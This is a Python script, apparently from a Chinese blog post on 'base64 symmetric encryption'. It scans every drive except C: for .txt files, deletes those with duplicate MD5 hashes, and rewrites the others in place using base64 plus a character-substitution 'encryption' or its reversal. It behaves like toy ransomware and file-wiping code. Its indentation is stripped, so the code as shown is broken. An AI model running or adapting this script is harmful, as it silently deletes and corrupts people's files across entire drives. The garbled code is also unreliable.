import os
import base64
import hashlib
def zidinyi1(load):
with open(load) as f:
content = f.read()
content1 = content.replace("u", '#')
content2 = content1.replace("Y", '~')
f = open(load, 'w')
f.write(content2)
f.close()
print("加密成功")
def jiami(fpath):
f = open(fpath, encoding='ANSI')
content = f.read()
content1 = content.encode('ANSI')
content2 = base64.b64encode(content1)
f.close()
with open(fpath, 'wb+') as f:
f.write(content2)
zidinyi1(fpath)
def jiemi(load):
f = open(load, encoding='ANSI')
content = f.read()
content1 = base64.b64decode(content)
with open(load, 'wb+') as f:
f.write(content1)
print('解密成功')
def zidinyi2(load):
with open(load) as f:
content = f.read()
content1 = content.replace("#", 'u')
content2 = content1.replace("~", 'Y')
f = open(load, 'w')
f.write(content2)
print(type(content2))
f.close()
jiemi(load)
def de(fpath):
print('路径' + fpath)
if(os.path.exists(fpath)):
os.remove(fpath)
else:
pass
def md (fpath):
file = open(fpath, 'rb')
md5 = hashlib.md5(file.read()).hexdigest()
file.close()
return md5
def dir(way):
file = ['txt']
all_md5 = {}
try:
for root, dirs, files in os.walk(way):
for dirname in dirs:
dir(dirname)
for Filename in files:
path = os.path.join(root, Filename)
if (Filename[-3:]) in file and Filename[0] != "$":
print(path)
if md(path) in all_md5.values():
# print(path)
os.remove(path)
else:
all_md5[path] = md(path)
zidinyi2(path)
# jiami(path)
# shutil.copy(path, beforedir)
except FileNotFoundError:
pass
for i in range(65, 91):
dirvename = chr(i) + ':'
if os.path.isdir(dirvename):
if dirvename != "C:":# and dirvename != "D:"
print(dirvename)
dir(dirvename)
# dir(dirvename)
base64对称加密
最新推荐文章于 2023-12-01 14:07:35 发布